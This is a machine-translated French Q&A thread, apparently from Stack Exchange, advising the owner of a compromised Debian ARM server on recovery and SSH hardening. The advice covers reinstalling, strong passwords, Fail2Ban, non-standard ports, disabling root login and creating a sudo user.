@MariusMatutiae Alors ce n'est pas un hack manuel alors? C'est une sorte de ver / bot auto-répandu? - NickG
@NickG Ma meilleure supposition est que ce n'était pas un hack manuel. Quelle est la probabilité que vaid travaille dans le même bureau que l'initiateur d'un botnet basé en Chine? Quelqu'un a trouvé une faiblesse exploitable dans sa machine, probablement un serveur ssh faiblement sécurisé, son mot de passe forcé brutalement, obtenu l'accès, a essayé de s'installer subrepticement. Cependant, je parierais aussi que l'attaquant parle plus couramment Windows que Linux. Mais je n'ai pas difficile preuve de cela, juste une supposition éclairée. - MariusMatutiae


Tout le monde ici a offert de solides conseils, mais pour être clair, vos priorités doivent être de sauvegarder et de vérifier ce dont vous avez réellement besoin à partir de ce système, puis de l’essayer avec une nouvelle installation à partir de supports sûrs.

Avant de connecter votre hôte nouvellement installé à Internet, parcourez ces idées:

  1. Créez un nouvel utilisateur non root et connectez-vous en tant qu'utilisateur. Vous ne devriez jamais avoir besoin de vous connecter en tant que root, simplement sudo (utilisateur remplaçant) si nécessaire.

  2. Installez SE Linux, paramètres de configuration permettant le contrôle d'accès obligatoire: https://wiki.debian.org/SELinux/Setup

  3. Envisagez un pare-feu matériel entre votre bureau / domicile et Internet. J'utilise MicroTik, qui bénéficie d'un excellent support communautaire: http://routerboard.com/.

En supposant que vous êtes sur un calendrier pour terminer votre travail rémunéré, faites au moins # 1. # 3 est rapide et bon marché, mais vous devrez soit attendre sur le paquet par la poste, soit vous rendre au magasin.


11
2018-02-01 23:32



Et surtout, ne laissez pas votre PC fonctionner sans surveillance avec une session root ouverte! - MariusMatutiae


  1. Est debian-armhf votre nom d'hôte? Ou utilisez-vous une installation par défaut avec les paramètres par défaut? Cela ne pose aucun problème, mais vous ne devez pas autoriser que l’hôte soit directement exposé à Internet (c’est-à-dire au moins pas protégé par votre modem).

  2. On dirait que le vrai problème vient de 222.186.30.209 (voir http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Vous ne devriez pas trop vous soucier de voir la propriété intellectuelle de Microsoft. Les IP peuvent plus ou moins être simulées / usurpées assez facilement.

  3. Une façon habituelle de se connecter à Internet consiste à transférer une liste connue de ports de votre adresse IP publique (par exemple, 8.8.8.8) vers votre adresse locale (par exemple, 192.168.1.12).

    • Par exemple, ne transférez pas toutes les connexions entrantes de 8.8.8.8 (public) à 192.168.1.12 (local).

    • Seuls les ports avant 22 et 25 (ssh et le courrier entrant, respectivement). Vous devriez, bien sûr, avoir à jour ssh et smtp paquets / bibliothèques aussi.

  4. Et après? Déconnectez l'hôte et modifiez les mots de passe (sur tous les ordinateurs associés à l'organisation) qui sont codés en dur dans les scripts shell (dommage pour vous!) /etc/shadow.


11
2018-02-01 13:03



1. Oui debian-armhf est le nom d'hôte. 2. Oui, j'ai lu cet article et j'ai contacté Microsoft via leur site Web cest.microsoft.com. 3. Je n'avais envoyé que 25 et 22, il n'y avait rien d'autre transmis. 4. Je vais le faire - vaid
"L'IP peut être faux plus ou moins facilement": je ne suis pas un expert en sécurité ni en réseau. Comment est-ce possible? - kevinarpe
@kevinarpe C'est probablement une question distincte. - Michael Kjörling
voir stackoverflow.com/questions/5180557/... et superuser.com/questions/37687/... - Archemar
@Archemar: SSH est TCP; faire semblant de source IP TCP est difficile, voire impossible. De plus, comme indiqué ci-dessus, l'adresse IP de Microsoft appartient à leur service cloud Azure, ce qui signifie que n'importe qui aurait pu acheter du temps sur le service pour attaquer d'autres personnes. - nneonneo


Comme d'autres l'ont indiqué, il est évident que la sécurité de votre serveur a été compromise. Le plus sûr est d'essuyer cette machine et de la réinstaller.

Pour répondre à la seconde partie de votre question, si vous ne pouvez pas utiliser l'authentification par clé publique, je vous recommande de configurer au moins Fail2Ban et d'exécuter SSH sur un port non standard. Je désactive également l'accès SSH racine.

Fail2Ban aidera à atténuer les attaques par force brute en interdisant les adresses IP qui ne parviennent pas à se connecter un certain nombre de fois.

Si vous définissez sshd sur un port non standard, vous réduirez au minimum la visibilité de votre serveur SSH. La désactivation de la connexion root réduit également légèrement le profil d'attaque. Dans /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Avec la connexion root désactivée, vous devrez soit basculer vers root avec su une fois que vous avez connecté, ou (de préférence) utilisez sudo exécuter des commandes privilégiées.


9
2018-02-02 16:58



J'ai fait les deux, merci pour le conseil. - vaid


Les serveurs SSH sont constamment attaqués sur Internet. Quelques choses que vous faites:

  1. Assurez-vous d'utiliser un mot de passe aléatoire très sécurisé pour les machines accessibles par Internet. Je veux dire comme 16 caractères ou plus et complètement aléatoire. Utilisez un gestionnaire de mots de passe pour ne pas avoir à le mémoriser. Si vous pouvez mémoriser votre mot de passe, c'est trop simple.

  2. Si vous n'avez pas besoin de SSH, désactivez-le. Si vous en avez besoin, mais que vous n'en avez pas besoin, lancez-le sur un numéro de port non standard élevé. Cela permettra de réduire considérablement les tentatives de piratage. Oui, un pirate dédié peut effectuer un scan de port, mais les robots automatisés ne le trouveront pas.

L’extrait de votre journal d’authentification indique une tentative d’échec. Cependant, si vous regardez plus loin, vous verrez certainement une connexion réussie. Si vous utilisez un mot de passe simple, alors il est trivial pour un bot d'entrer.

Vous devez isoler cette machine du réseau. Obtenez très soigneusement ce dont vous avez besoin, puis essuyez-le.


8
2018-02-01 23:51



Lorsque j'exécutais ssh sur le port 22, j'avais généralement des milliers de tentatives de piratage par jour. Lorsque j'ai changé pour un numéro de port élevé (plus de 50000), ces tentatives de piratage se sont complètement arrêtées. - user1751825
16 caractères ne sont pas assez sécurisés. La déconnexion de l'utilisateur est également pratique. Il suffit de ne pas en faire un blocage permanent, de le faire expirer, mais de le faire comme une heure. De cette façon, vous pouvez toujours accéder au serveur. - Ramhound
Notez que l'étape 2) n'est pas strictement nécessaire pour la sécurité, tant que vous avez une authentification forte (clé publique ou mot de passe fort). - user20574
@Ramhound Pourquoi pas? Même s'il ne s'agissait que de minuscules, 16 lettres minuscules donnent des possibilités de 43608742899428874059776, ce qui n'est pas pratique pour la force brute, en particulier pour une force brute en ligne où le serveur vous fait attendre chaque fois que vous échouez. - user20574
@ user20574. Bien que cela ne soit pas strictement nécessaire, la réduction de la visibilité du service SSH est toujours très utile. Même si pour aucune autre raison que de supprimer l'encombrement de vos journaux. Si une machine doit uniquement être accessible à un groupe restreint de personnes, un port non standard est une étape tout à fait raisonnable pour améliorer la sécurité. - user1751825


La première chose que tout le monde devrait faire après avoir configuré un serveur Linux / Unix frontal est de désactiver immédiatement root.

Votre système a été compromis. Vous avez un historique de fonctionnement qui peut être intéressant à regarder dans une certaine mesure. Mais honnêtement, disséquer les détails est un peu délicat et ne vous aidera pas à sécuriser votre serveur. Il montre toutes sortes de bêtises qui se produisent lorsque des logiciels malveillants générés par un réseau de robots (infecté par votre serveur infecte un système Linux). le réponse fournie par @MariusMatutiae est gentil et bien pensé et il y a d'autres qui répètent que vous avez été piraté via root accès qui est le rêve humide d'un malware / botnet.

Il y a quelques explications sur la façon de désactiver root mais je vais le dire par expérience personnelle, tout ce qui dépasse ce que je vais décrire maintenant est exagéré. C'est ce que vous devrait ont fait quand vous configurez le serveur pour la première fois:

  1. Créer un nouvel utilisateur avec sudo droits: Créer un nouvel utilisateur avec un nouveau nom, quelque chose comme cooldude-Usant une commande comme sudo adduser cooldude si vous utilisez Ubuntu ou un autre type de système Debian. Ensuite, modifiez manuellement le sudo fichier en utilisant une commande comme celle-ci sudo nano /etc/sudoers et ajouter une ligne comme cooldude ALL=(ALL:ALL) ALL sous la ligne équivalente qui devrait lire root ALL=(ALL:ALL) ALL. Avec cela fait, connectez-vous comme cooldude et tester le sudo commande avec une commande comme sudo wQuelque chose de base et non destructif pour voir si le sudo droits de travail. Vous pourriez être invité à entrer un mot de passe. Ça marche? Tout bon! Passez à l'étape suivante.
  2. Verrouille le root Compte: Ok, maintenant que cooldude est en charge de sudo droits, connectez-vous comme cooldude et lancez cette commande pour verrouiller le compte root sudo passwd -l root. Si vous avez créé une paire de clés SSH pour root, S'ouvrir /root/.ssh/authorized_keys et retirez les clés. Ou mieux encore, renommez simplement ce fichier authorized_keys_OFF comme ça, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF pour désactiver efficacement les clés SSH. Je préfère le plus tard car si vous avez toujours besoin d'un mot de passe sans connexion, vous pouvez simplement déplacer ce fichier vers le nom d'origine et vous devriez y aller.

FWIW, j'ai géré des dizaines de serveurs Linux au fil des ans (des décennies?) Et je sais par expérience que la simple désactivation de root-Et créer un nouvel utilisateur avec sudo rights est le moyen le plus simple et le plus simple de sécuriser tout système Linux. Je n'ai jamais eu à faire face à un quelconque type de compromis via SSH une fois root est désactivé. Et oui, vous pourriez voir des tentatives de connexion via le auth.log mais ils n'ont pas de sens; si root est désactivé, alors ces tentatives n’ajoutent jamais rien. Asseyez-vous et regardez les tentatives échouent sans fin!


6
2018-02-07 02:34